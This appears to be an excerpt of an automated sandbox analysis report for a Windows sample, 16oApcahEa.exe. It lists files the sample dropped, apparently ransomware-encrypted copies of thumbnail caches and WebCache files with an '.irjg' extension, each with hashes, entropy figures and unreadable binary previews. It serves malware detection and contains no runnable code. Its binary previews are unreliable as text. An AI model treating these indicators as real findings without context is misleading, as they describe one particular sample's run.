Preview:	CMMM 7...s.v`..#..cW?p..M.0.O...e.F].Q..z.."M.../.P.W.-..H.....?.>..E....ln..".'`.ij{$.l.Y...#.L).{M.k......y..q...+...h~..q.......:...r..O3.p..0^.....K..bb2.z.-.<...m.Kl..4z~Pt.M.4.Ly....?.by.8Y.6.O...~.ZP<.q.n."......o..[..K.....h=..!..4.SL\|....Gd....l..j;@..-.....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_wide.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.3064843559148365
Encrypted:	false
SSDEEP:	6:qlzKbHsPtQAKtF5iOFQ76n4qFcNIyUYnHaNieqV9Hs2xcii96Z:ql+LZxQ764YcNGMHGWV9M2cii9a
MD5:	C1DC8EF8979C9F682FE207CCB0FF8769
SHA1:	3294591220C630CC4861879696915990296F6571
SHA-256:	BF8166EA8AABF4FFFFEBE1BF1D2102BABA56EA60508ED93A27B42D3B9E8CE9C5
SHA-512:	A44BD3B0CC25FE6B604984368D3DA79DE359D14B552B0599FA18F9FAD941FE9F4B9E728FA3FEBB0AE595791014A2DED6B9E5FE2A7A107D605FBBB87C55D3FA24
Malicious:	false
Preview:	CMMM ..+J.i....H2@.-.$...u....w...8./.S...5.....~..n.`..d`...)....._..S...R.....J@b.h..].........A...D....A]..M..r.m..8....^.&...D=).w.e.....]x.%.MSKb<.H.....]c....`.XZ........zT'...i...F!.u).\|$.i.T.{..............G.Nc.V?1..u.b..Qm..#C+.k...<..b.8...H....H.!b.bxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_wide_alternate.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.315250660248913
Encrypted:	false
SSDEEP:	6:U2UoY1krvf3X2UoI3NmRP+f2IQqUcKi1XWSbNCBpeH7D86QB3x8eC9Hs2xcii96Z:bzrn2JI3N0Ob/UceCApeH7DrQD899M2X
MD5:	23C5AF2938B79DDCA703F5BF693A0407
SHA1:	564011E2246F0215F4025FC4276AE6359154ADC6
SHA-256:	FCBBF207E08ECBBE1DA6731DEBB6D8427AFB8770DC82A5FC392374EEAC626B94
SHA-512:	8E608BB74772387FCFA776BA6403E4EEC5DEDA87690864663245DBAEE46B26A82517CDAB5E5B90F7EE678AC6DAF733F6D469DBCC1F49B2E9D3B0E13CB56700F2
Malicious:	false
Preview:	CMMM e...R./J.#.e..1i....6....n.I.x..\|....s..W.&..psI..s>G.r"B. )......#.'....\....m.$.1*pZ94..r.J.....4..^.x.-.nE+....%....g.=...e..9.^.c...U....W.n.'.=^...............GG...>..0.]o...R..@.7..b..n..'....f....-Z....X.).A)..pu ......c..4tV........{...-..k..S.}.n......`xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_1280.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.221558020736323
Encrypted:	false
SSDEEP:	6:2CEExvsTSNIMicFi4xvExxWGg395WiBbFa4xHUNIZTEM2LQsm9Hs2xcii96Z:UExvE7N4x4xWlIiN0QUa4MR9M2cii9a
MD5:	585F927D39F80EB18CCE155DDAD4F612
SHA1:	2C7C99DF482B34EA246C498D688D7BE47A580FE3
SHA-256:	4553058998ACF2468D6D867A9D4EAED0B5BAFCD6DD972B628A120BDF707DCA97
SHA-512:	72334254584F4AB61D2A3F53884B485DD5FB4282A939765F16EF9AB3EF35F97AB71D00E44F6DCD768E6F274AF12E06F36834A506D87BC6A0B51E2BB0669133AC
Malicious:	false
Preview:	CMMM ..z#{.......NW.....H...1s./..Nq..k..d....y]Pf.s.-..:^P=...c#.N.#a.s..>w\.y..F...YG.J+o{.......3(b....Hm........7N..\.M,b.%${...Om...M.j..m.5....o.uW.<.y...k....i..A.6..Y........J....k\........'.......a..n..C.1.....mz(\|3.Cy\........:@.`.l.u....tWb...Q..J.....j..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_16.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1048910
Entropy (8bit):	1.7685094084013424
Encrypted:	false
SSDEEP:	3072:NNKmj8LeRmyTVFPxXzFKLdNFGOcYKj7Z2jLR37iSMf6d1b:HK5eRmsV3cLxCR2jLR3e1m
MD5:	2BBCD69239606269629DAD19B9859FD6
SHA1:	A2B3DF4B354787889EEA4FC175377FA3A603D1DC
SHA-256:	E2B4EECEB36CD9DB8C859C1AA3FB4812CE1EFCE41AF5462AACEE65A097329162
SHA-512:	27DC730EB1DAEB2DCDBD9D528378AC1401EB2A160780FA4BD0C1C74AAF95303840E7B306F3364F122FCAB2ACC78A96F852C84588B579526511D853BF940F501B
Malicious:	false
Preview:	CMMM K.{L;\|_.....If.<6.Vy.I..1.n.JzRZ.T...xF...E_"Dt)1.L(.A...EHY.=.m.L.W....b#..H0v+.\|.w..C....JC....?y.kS....}.w.....M...'2.._U\f.+......c.[..u=H...^...[ x.y&..q.2.X..0.O....='E..-.a.........x...J.\|]c..D..b\|....S+.;.XY.`...{....S"J.4..a`hO..\.-I{Kc....].JGGK./&.....%..q..VK."[...P...v.....J>^.-..OUl.........'.\.F..4...=?G G..O.A..H...$...p...+..o..G....].8F..\...Bo........C..S/HN.....(&.ghE.^2.O.'...UB?\|....rD#..tXr.6.8.....{.=[.. f.....m....f.wd..{...yT.ao...?...?p.6...QU9...c....!.K.~OO.Q\|r6.cM..4.....~...hw.....}q.0..........Jo..N.9.%.x.bH..w.U$.=%O.....to.J..+.f..... ......m...r4....9...\|..1A...~.JU.k'......)...if......v.9........0..Xgx.....c9.I+....H...R"..e0wjQ.........)7.)7g.........}}.z...o.2 .....9.B..f...iz:..@A.<(..B.\|c\|.?.7.Qix.........Gi. B.o'K.......B?{.v.f=.~Ra..\|....R.<...Z.~.u.....Nm.lF...zI....M8.TCTD.C.I.a+...../.;..E...D2.....I..'.....D..P.......U.F......r..)..8...m..%z.4..C}...ye.Q~v.J.CFd..?UCvZ$.J........a:

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_1920.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.277137323996746
Encrypted:	false
SSDEEP:	6:ZcFpx4UYl1EprjWYx/cg3nYlbX6f4E9RApDlylFqiZyDxaam9Hs2xcii96Z:Z0r1NprqYxE5bKf4EsylFqiZlam9M2cq
MD5:	3A4903ECDF2866847468D64609A61B28
SHA1:	3B7C4D0531DEEE74F8EF8D344E9BF72947833FE2
SHA-256:	489843093C61FE830EACD2A3FF573AF641A8B6DBDF1C061DDC931C278E295FC5
SHA-512:	C9B4EF06FBC54BDC2C30D16A0F18E3552E8C29CF3D1F5C50D6EEF6EF5560E26FA7D3FC3C20764161727581F837B34A88D0AFA5379633FF91AC945E265A4B37EA
Malicious:	false
Preview:	CMMM 4.s}c..K.....s.p.\....G..1B@o..?.`.h.T?..`z.Zx.<.m@g.[L.-G...\`...<....2.9.%/.[..Z.9......c....7.b6s.!....T._..~.J..4..H...&q.gW2;.......K;...M~5.m.../..2."...z.v).3..5.Lt..5...y.....~..;l...e....TY...u.f..,....<@.@..:...>.Md.6-].aS....b...V.0.c.._$..y2.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_2560.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.232659049929165
Encrypted:	false
SSDEEP:	6:aLvpGu0TRN9qpwcZEHmN8lLf7XiCjKMMclp7n6As9Hs2xcii96Z:asuoRiT6GNifXNevYp7nq9M2cii9a
MD5:	7A5876E30630E0E06576AFD8E8FE56BA
SHA1:	40B31121BEBF1260B7226DEF11D7B74E6EE477D0
SHA-256:	0C4AFB53A519AA9D56E4862944537408F60B306BB49D717115AF7BCC60897A1D
SHA-512:	7ACC7FACC9A756E6C8562B9D29548EDF8079A42904831A02A0EC9ED8EC7ABD97F96E66CDE03540E7501CBAD96DB693B93018740358CD8111CC6D889FC64C7E56
Malicious:	false
Preview:	CMMM .4...~..."y5.....i.......3..ncYS.......oK9...{..&..6.VP.I.H..."...I...Mp.Xg....w.)kc.M.Q...<....2rn.6.......'..S\.]{e.....Z.QW..92ir.U...Cl..c..F..C..'........]z.0-.7xt.v@.!#.1.2....F.H.cF....)...X...,..9....d.t&n/.......G....+...D.nJ..,k.=.A..G.Q.I.0..+.8U.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_32.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1048910
Entropy (8bit):	1.7687975685468789
Encrypted:	false
SSDEEP:	3072:o+c7VG8yYLBlPBiVo4kg7vl8zwguWXeZEAN26XY316m45ZDNO9Y+0kjORH:o+WI8y0ngkGd8Mgun2J3GZxmYXkSR
MD5:	9650163393F022E9A1C949D0D1F9796C
SHA1:	0CE2F168D6BBEAE2B9A475FFFA0A6ED68C5EB87E
SHA-256:	5965C7B9780EE235725ECC79197F4EC280C693B3130BAA9BF4A1AD801D12955B
SHA-512:	F72F6DE71A98C469E5121C9B9F2216CFAA5F42576EEC08972DF1C85BF9C7DDF5788E53C110306B45B2EC88DCFF51788232D5EA1DF61DB5CFF5DD2064841A2373
Malicious:	false
Preview:	CMMM ..h..@....,8JA.........0}..f.\|.XD..EC....H..T`.....j.N..b..@-.....j.@....{.e..6....(.-nFL.B....m....6Ew:.3..m..\|0v<.@....H...-7WS..e..../.0...>...yFW....~...P..@S.1..\|.x......d.{N....\|......n..G.0.N....f].Ax..`S.............v..(....,.G...[x..._.u.......\._sx....3jG..cf...r..../.Q..Y._.'.,6.L..-..w.o.-.K..K.".U....`...... ...X.."r c................c..%-%mxY2".._.,.......6..K......X.\|..c.i.c...."P:......6a..?d..C...O>..O...l.....K..TZ8C]....a.....^....9P;1$.9.Hs...}/.O...7..rm.."...}........I..}.3sal!...{=..vd. ...T............'v1..oG.H).k...I.C6.3.SD.w...(.(S....\|0.....8cW..o..,iZ....7).......m\.x....Y..:r.OnP...^.......3.$..!..[...G..i..h..=..\|.(.@3XI.!..G(......,.#.....n.$.\|......Q...TD.....H...^.4K..]..F..ID!....z^I.......f.&..u....e.f.a.$.fV.#a..d4o..40..\|...p;.u.R Fi...?.... ..$T....-.R.....{..A..Q.E.2.;A...6...)E.^-<.x.l:.Q;..9..3.<.U.."Zb.T}d.H...uV.....Ir.\|...:.....+.!#Nj0b1.Z..........C.:.#\|......N......#..vK...M.O..

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_768.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.2788755374240175
Encrypted:	false
SSDEEP:	6:q7mjXF2UEU26o+2HMxiB3jrmgWYqnvoUCGBDR0S5iyFi4vNam9Hs2xcii96Z:926AMEB+8Qvl0wnHh9M2cii9a
MD5:	E9223DA2F2037355147662BB8F9A269F
SHA1:	CE4CF4AD306FDC73927C6485B82803FF93E0B874
SHA-256:	71904E78A8E3A4D51030089834E27257A803D2C7BA1AABE41242150D3639A329
SHA-512:	63673C00DB7FBAA0125B705CA4CEB985360EC6026A328134B400038D1A3F88B763A1A1D588332D949909DCD376C6CBFFADCA3C46A578CB812E98ABFDDC8BA316
Malicious:	false
Preview:	CMMM G..{..R..sK.Z...&.p.l..B.*+....S.....B...aw.$Q1S.Q.:n<...zZ.>...F..v......E.~._J.;.+..lM.'Toc.;......ra....B...P......ba,....nS.;.......O..QKz.,%.b3.c..%T..7."...w5.h}I....1.v\.j./...L...N.Y.r..%..sI.`..G./..KX..E..........@..&R.t....^...O.~..gJ.T...:c...%U.T..`.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_96.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	4.0162555437549
Encrypted:	false
SSDEEP:	24576:kG118pClVn6NVE2I8wHXEH9KPaUkr/5Tr4ImqrYE3Ax0LPJBn6m1:kY6pCfn6NVagH9Kyrr/9+qrYE3Ax0LPx
MD5:	BF994DC8FCF985AE3AA329307CD1708E
SHA1:	F81F3E6BCD26A9DD83261549179E5270698BA61F
SHA-256:	53970B5AF6A259CC272C387B1537BF250AEAD22F7FF372A9ABCCB4935D157FA1
SHA-512:	21F6370A0697C05DDA4DBDEC9BADD079E901742657E4B210BDB97342036232D6BCD7B64DD7404995AE0CB16C4A3AD890633687D64049EDD3E480D70FC2857904
Malicious:	false
Preview:	CMMM W....qn.K.H.J.QtQ:Ej..)92..n...]Ym......W1.P...$&.5r..1p..j`....lH...En.W^;....`...............0..i.e......Y....,`w?F3=Slqm.z.].4..`..B.`G..t^U...T^.p6..;..X..nDM.s.Pr.....rfZq?h..N...z..R.......U..N..b.8..B$GPG-..?..DY..2Q..jP..t.4.PNX.oJ.3K.........!.=.8d..%..i'u.:@W.p.UN../..Fm.....m!...lM6.-.............{&(..../.WP......T.y9.._0..z.$.._.m2.no'....3....)..A.l.FL..?.y.......6"m.)=...(...b.B...m..M4..zX.8.....\|.#*h...o...'.]...i`....c...'I.h9o..j.d.%Y.).A.F..'......`.S9..p.3dF...F..L......l=#..dd.[M..^.$.WP......{.>..m./)Xl;\|.H.G.m?y..=..S.P;q.../[.g..(.0X1O....8.=@.,...a6.......J]?.Q...\......@...t.V.....:6.....b...eCF..w,nK3..lI...0,.....F..d..ka.M........Wz.2......7......bz8.d<oMt.,..QQW.i..^.}=gi...$.X....[&.....lkM.........@.........'....E.".I..8.9r.%....?...".f....1O....d..wf$./....... ..Xgoqn...Y..+x....f..f.8t...?........:?...U..D.?.c.p...(<S.x.?.V...sL...)...^..6...h..).:A...2..&v.J..%.~A.,z.}...w.g..Y0.`...L...V(

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_custom_stream.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.286902099898697
Encrypted:	false
SSDEEP:	6:nCd/1vubU8AZH1lqLAkIPnUq7Fozm3t0j6GEpYrKZE89dG39Hs2xcii96Z:nCFRwq6FIPUq7SU+CpYrSE89E39M2ciD
MD5:	18260B4639C248BB2294EBAC12FB8DB5
SHA1:	11B4E54FBBDF34C44EA9363C42BC0FD0281F82EB
SHA-256:	36F247F7AE06384F3EF56A373C75488EC7BB7812B34DF550110A949B93C8CA7E
SHA-512:	DE43DA1F64C852F27163CF5525CE04227593D5097FD45CBDC53211C1CF70655064EA26B9F9C46D6DBC4D72D9A26C32067CD68B42C045566C060F60F42C27345D
Malicious:	false
Preview:	CMMM 8..}.W7.z.......EZ3 .L<.kt../Qk.............._.~.b.u@.Nw..6....J86.v..cP.....NHW.T...zap\|..t..\..}..%..zZ.....`PdX.....o~7i...RL.br\*.:...3...... ...u.]...z..0..;(....&J...a...[X..T..K.<...n5...?.%/.-....jxA...w.....y...]?........=.Xt~.K=%.l.a.1>z$./..!....0..2^2...O.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_exif.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.296354831701084
Encrypted:	false
SSDEEP:	6:kZuCq4z91YvLn9I4YyBHnOJKQB+N93a+WM6p/P+jOQ5n4/ns9Hs2xcii96Z:kZhxs5I4YyJmKbNLWM6pP+j9nCs9M2cq
MD5:	58922DDDC758AF18D9279AA698A7AA82
SHA1:	64266BD50C2D53C7B559BC0EA3DDF693547450ED
SHA-256:	D04FC307188AC8D53DCD1ADCC15F06E331B82C2FD8DC162182AA0BCBF654F3DF
SHA-512:	5A10A690A7F75E4BBDC968BD1B37DA4944D09A8EA2C0977CA8DDE65E42DB8E641075EC9D1DA38520F798C9FA8D58831F3B8DEB79438B6BA91C4BB3509626D9DB
Malicious:	false
Preview:	CMMM ....V.hD..0.....w.....O...b.p.`..q.....2Y./7.....VS?.+.<S...Q.J..Q.........X[.l..of..k]l......z.Z.N......?_....W..\....:....F..b.\|.t.c...7]...JO..aJ...aE..g.i.V..H.2.n:...Tt.....!.\n>...5%.O.8..dF..N.iJ..i.3..R......y.>..4"....g/.......5....".W......+....D..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_sr.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.248950834848049
Encrypted:	false
SSDEEP:	6:4IljGRgYKEMQAl48vxJWdmiXvGxqGuX69y5F8ltvnXKq3BHIHyTGbdks9Hs2xciD:9i2YKEMvl48vhoBGa69y5OnX3BTTW9Mw
MD5:	2B0BDD5B52EA618E7B892CCC7FC44F13
SHA1:	6B567DCB3DE291D034D150F483DA6809035C4036
SHA-256:	1E73470A4D7EBE1512113BDED26E7DF5DAECC503DF95BF1E739F88F49460163D
SHA-512:	34F342B57090FAC42DD9E069625B4F8658F2A971F1D12C249B45D598D43A03E0964F406A5E101D21A756756F2BEBB43243C82C44FD0DC9DB6E5064809F4140E7
Malicious:	false
Preview:	CMMM ....q..C..,....Q..2~#.]"..:....*"uA.......=...!\|vc..y...O.~.i5.2.$]m.....[O".fM....)k...U..E.&..@...ul.{..5h.M.......hJ.2...um...$Qe.. ........I.]f..`...L....H.rG..q. [.e^_.......9..].....,&!.J]...JEr.Lz.....g...j,T....97.."..o..ud.....^...~...\...r...`.._xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_wide.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.257529642408328
Encrypted:	false
SSDEEP:	6:QDylU0xnkv6XZzMQ9q0VDwDpGSgZIuAzxe1GT0QR0QizcrTWf5NWMl0V9Hs2xciD:k0xntNMQsKcGScIuc0mnRNZqN0V9M2cq
MD5:	3D3A2E91EE89149A5C891CA9C7620068
SHA1:	92865A7DD15AB0D155975039BF924E861F602FC8
SHA-256:	44907EA8C3F6500676EFD607D99F3C0805CCDD64472D3043EE9554691DFAA365
SHA-512:	C0C5D5A3BB04B7202F9A447546A32F728622AC6F4E412A013376F9EF29D2CFE8B19A40FEC102B65A60CEB95369F584D1288E92969C7139E32E54B5564A64812F
Malicious:	false
Preview:	CMMM .s.ooV>.[._.W..3=.J.t2.P......."w.}.0mD.O~.e.]:a.7&..M7%..u..0i...a..; N<..P........:...Q91P.R.=$..2...jb.(..h\..^.....7.9......Q.<-.....@%......]e.sxv.P...t..k.7MQv_o.)s.../.........1....^..z...,c....?F...+...k.t...X.N.y.. \.,=...`...~..E..[E~.p.S}'{.S.g<...?....N.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_wide_alternate.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.276144514997517
Encrypted:	false
SSDEEP:	6:i+taBklqR5XJM0BcNS0KsypU8nopL13L0rDmfbbo6v1msam9Hs2xcii96Z:i+I3JM0BMOUKopL13L08geQpm9M2ciik
MD5:	0F6E02631216AF64D3C4560D242CB7BA
SHA1:	3F3B4C6DB3908A0DF64A2108E9E89FA65771104B
SHA-256:	5737FDC46BBE0AD9C0CE56C580239C8E0A58D2DF630684260A71F3049839B6D3
SHA-512:	3BB18914C025E80F993D0EFBB494A9EC67A25CC396183E57EF08C79D89B36D25F562B6BAE51F355AA22F7BA9C9A278DED4C0AA461A453EFEA23B1F8411ADA66A
Malicious:	false
Preview:	CMMM ..U..X.<z...-..[..]...MUw.\eZ._...H......`...[U....Q.0.rb.....@..b.V..H.0.T..Xs...r...VZ.*..6g.&O.Dk e..V@...'.QS...C.@I.z..B:.K7.+...)....<"....B..!M..k?..J.Q.W'M.\|.5'i...Q.....N......$..a...Q.$.....4...A..T.{u^".BSf!-#...mpz$.y~..W2..:.#.wa..j....;j.'....G..B...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Shell\DefaultLayouts.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	64281
Entropy (8bit):	7.997326406392164
Encrypted:	true
SSDEEP:	1536:S3dz57YGnh+wIALJAQgcFO/3Dm09LmsILuz:S3dzdYGEwI5QgrLJ9NILk
MD5:	5DFDC4C892ABEC80701D4C73F3CAE702
SHA1:	A89C4919546CB1372A5EBAF9E0BF86068448E0A9
SHA-256:	49887B48E3297E92D3FB1A1EDCE3FB062609C98C079B5F0FFC4F3B2B1E70A3F4
SHA-512:	899DA1EC1D158CAA8878525AEDDAECF51C69156ED7BC126C029F736967590FE853EDDD23F6957862A6F55849A5E3DE05378894375E5710F09A24E16DC167AC22
Malicious:	true
Preview:	<?xml._;.;w..?........fR....z....x~z.C:.9A.at..Y.Y...sj.q.$c......I.....g.`rn....XmX1..M..AU..b&d...M...P..u.m!.:.`.&x-....Xs:_...I..F..@.../.$w..Y.Q.l%.Y..y2...m.D.:.S...,.....i24F.-.....I.~..T...2~..V4....urW.^.4K....;d.uqfP....[e....F..V..&O7A.f.e....H..........P.s..s....k...FW.S).&.p....(.q.....1v..#)...R.M......1.p.A.n...1...L...%..N..r.a..7@I..P....P.?.......^.?,.."`xE.-...G<.......m.@.h<R..............$....f.Ra.]..7.._)Cy%.a.~.......xr.M....}.-.iw.....P.....}.l_...~.i`..q...&....8...Y;=.X...Z.z.]%..I.(...Z............(.A.s.D/........q.#....5&].K&..P?..j<1l"...He...\|..>ry}C1...(...`..T7.q....Do..~.?%.%L9.5J.sbKz..&0M..h.-;.8...m$.J[.:.. m[.U..U.......YR....f....\A.[._...00..o..0A.r.>.T..9...%'..E.^..Q.....nG....T ......?Wk#..a_$.2$...(..!C..Tq..R'..w....sLk..j.H............y....r..A.E.C.V6.............pa....+1."b...,A.f.Y..v5.w......K...c...Bc..&.?TP......0..R......>c..a..C............~...W...f..K.YQ..M4.t.p.[;..?8.

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V01.chk.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979061383388592
Encrypted:	false
SSDEEP:	192:DxJc4wbRNCVWwQ9s/YncfjpN5s9dZh70zQ7uwPEtA:zIzC9Q9kYgDGnv7uwSA
MD5:	96039E83EF41FD7A4661CF9A9AE56B43
SHA1:	839EE1368AF42ED80FD0ADCC331A96E2727021C5
SHA-256:	983203516C2106303B4C9DA0138DFF06365F2F7455E6FB0EE63680EABB14F712
SHA-512:	C899A5E5C4A0BC6EADDC0F19052ED76E80547F37D194A14BD825A578024E767E45E41521FD9FDFED794CFCC2E794515893DC8B599E2F09A4416B3704C4E84C64
Malicious:	false
Preview:	.....t-..9..)Kj$uy(qr.Y{1.....Z..(.>..Z>.H..H.].+.k.$.@.G:....&Ke@........&.G...\|K.. .........8.....?5..h......k.l'.C.,.S...Y..!.k...[_R7..M..5.....t....1]..h..3.}.,.............D..$T$...7".>kq.H..d.{$..qby.+..1GX..R.]..W....~H...`..J.?}..[.s(.....~4..z5l...\|gYR;......'..)....A...Z...........)."...........4.....b...tI...Pj>X.8..1.)U).....<O.q..R..PX./.(.}..a..........B&._[.b...R....f..P....N_..!.....;k(<z2.8J...z.;.q..g.LjO.......R....a.x.0[...>.L..&.F....U\|/.k.0...XQ.W.x.I+.+....[.c.}.q.v...w...%._.4...h.5.....9.E...u..z.g..;.c....Ca..Z.p..)N......>.....%.90wv9%)6]V.OXg`.)........V..t...'.l...Y....Ar.^..n....)/.t...`..Z...m........(.c... ]!..+2.#+.!.#.......N....#..N..Q..8..".``....?.P..C.j.........i.Kf.N...o.. ..\:..Wz.C.e^W....IM.~....Rd.1.MY.V/..t...l.....AB.?.O.....!.K4O.u.m....V...X.s.6m G]Vf.h.(..i........F........y.,4....W.d.59...zRlg..x^.\|...z..m.r-/..1.....d..2.6y..!6..Wu1...n.D...4.J.,m...>...^..p..'z....( .8...]......

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V0100005.log.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	6.434040783658866
Encrypted:	false
SSDEEP:	6144:uRl0Gf9wO1ZrCd/aba8dSKISsUFvCTyUPR5ABk2BoPnEc/qjTA:Ef+YUFaGopiyUZ/qw
MD5:	E9DDEBF7C3521B5142FFF19B5EEC6837
SHA1:	0179F9319EB9FA43A74EA0E8CAF7B8C7C6BB3A67
SHA-256:	695F46180BBF4C4A32BAF4B765EC725AF987420DDEA30BF496CE6EFAED6F92FA
SHA-512:	9A66219E68F99FC5F0892800C16B8F11A67F0B1400CDDFA1E8E797453D6B862A9BA492C840C59D9F800A60D6B30B4D6BC22640061BFD0AEA61961649A3CB22EE
Malicious:	false
Preview:	..8....v....2...~.R&f...].t.[.........p...,r_5>Ty.. (.....4.......n6. ....+.....nB'13...O%..:..n.$....(...wW...9.xX._L.>...h.I....=z...! ....l.##7..p......V.L]z....h.w4.J.[...:Lh{K4^.....e......Ouf./.,.T..PN..%..=...t...OF....D.?....l=.4.tJ.7D.....d.a,\..X..n{.B..\|.M....4C.i....#...tY.~...jrC.~.!....MF..............A.0.].%.m.C.s..Hn....I.........G.N7c`t...Wb-.3J...j.)I.=_.g...r.Z).6...}-YQ.......1\|B.B".L}?...L.VeHpx....A.`A.(..R....U......?.E>.`.?..7K.=r.$K.n.-<..1...7.z,..........[_.6^...2. D..0.aD).......?.{..a.J.....zi.....M.S.Y.,..\.i=\|....t.4.K..$BD...9..e[..g~s:.iH.$}Y.Y.5...[_Bc a}.{n2...Pg'\|\..F.......>..`ww.9c9.y.H1...4.}..B.{.....\|544......qk.o..V.8...!.O.;......R;..H.]B...y.m.C....!.xeKU...ze.........O...>..p...{...N..{.....h.5..f.m../0../.y..v.\|....-"p.6C...L.hH.@...a.\.W.z.'.&K...d...5*@S....nS...}..Y.../..+......g..#...n..}..D.aK..G.,..8l..-6..........k...c...\|i\.<d1I.TA.-...,[.......FQ.d.%%$;...J.Y....Y.KX.&6'<...$.n....`s

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V01res00001.jrs.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2085044166716408
Encrypted:	false
SSDEEP:	3072:cQRCl0PK4Z+oaw5MwsAvDyxIpdEB1BxvUnACSXSXxdDrl8oe2Tr2BKw6cgqmg9x+:cieA0oalGGTxvUnhSXSf/22w5Dze
MD5:	54E7A366351CA7C760D2ED5AC2D3D6FE
SHA1:	E32149005470398771331E80E5384FC0FA3A5A4A
SHA-256:	FF4CD9CAFD2FA3DE74C606A9436F0FFEA2DD84C03432BA240B371E372BBC3B2A
SHA-512:	2332155E6297778170DB2840794392A7CC674A58912AC3F57159DAFCF4BB6C116374ED267C23D0F65A2CA7E8D0A01CAB9B69590D1764197CC1F705D0B18868B8
Malicious:	false
